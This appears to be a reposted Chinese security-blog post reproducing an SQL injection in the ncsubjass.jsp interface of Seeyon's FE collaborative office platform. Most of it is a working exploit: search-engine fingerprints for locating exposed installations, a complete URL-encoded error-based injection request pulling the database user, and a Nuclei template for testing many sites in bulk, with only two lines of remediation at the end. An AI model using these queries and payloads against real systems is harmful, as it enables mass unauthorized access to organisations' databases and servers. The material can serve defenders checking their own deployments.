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/fenc/ncsubjass.jsp接口存在SQL注入漏洞，攻击者可以通过漏洞获取服务器内敏感信息导致信息泄露，甚至通过漏洞写入木马病毒获取服务器权限。
- Fofa：
body="li_plugins_download"- Hunter
body="li_plugins_download"- Quake
body="li_plugins_download"
-
SQL报错注入，注意URL编码
POST /fenc/ncsubjass.j%73p HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 364
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
subjcode=1%27%20AND%203576%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%28113%29%2B%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28SYSTEM_USER%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28118%29%2BCHAR%28113%29%29%29%20AND%20%27jPMS%27%3D%27jPMS
-
Nuclei 批量检测POC -
所用方法 nuclei.exe -l 网址文件.txt -t POC.yaml
id: Seeyon_FE_OA_ncsubjass_SQL_injected
info:
name: Seeyon_FE_OA_ncsubjass_SQL_injected
author: security-xm
severity: high
description: There is a SQL injection vulnerability in the ncsubjass.jsp of Zhiyuan Internet's FE collaborative office platform
metadata:
max-request: 1
shodan-query: ""
verified: true
http:
- raw:
- |
@timeout: 30s
POST /fenc/ncsubjass.j%73p HTTP/1.1
Accept-Encoding: gzip, deflate, br
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=A29F8F31E3D9BA108017E2FF1BA07AFD
Connection: close
Content-Length: 498
subjcode=1%27%20AND%203576%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%28113%29%2B%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28SYSTEM_USER%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28118%29%2BCHAR%28113%29%29%29%20AND%20%27jPMS%27%3D%27jPMS
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: body
words:
- qjzbqsaqjzvq
-
在Web应用防火墙中添加接口临时黑名单规则 -
联系厂商打补丁或升级版本。
原文始发于微信公众号（小明信安）：【漏洞复现 | 含批量POC】致远互联FE协作办公平台 ncsubjass SQL注入
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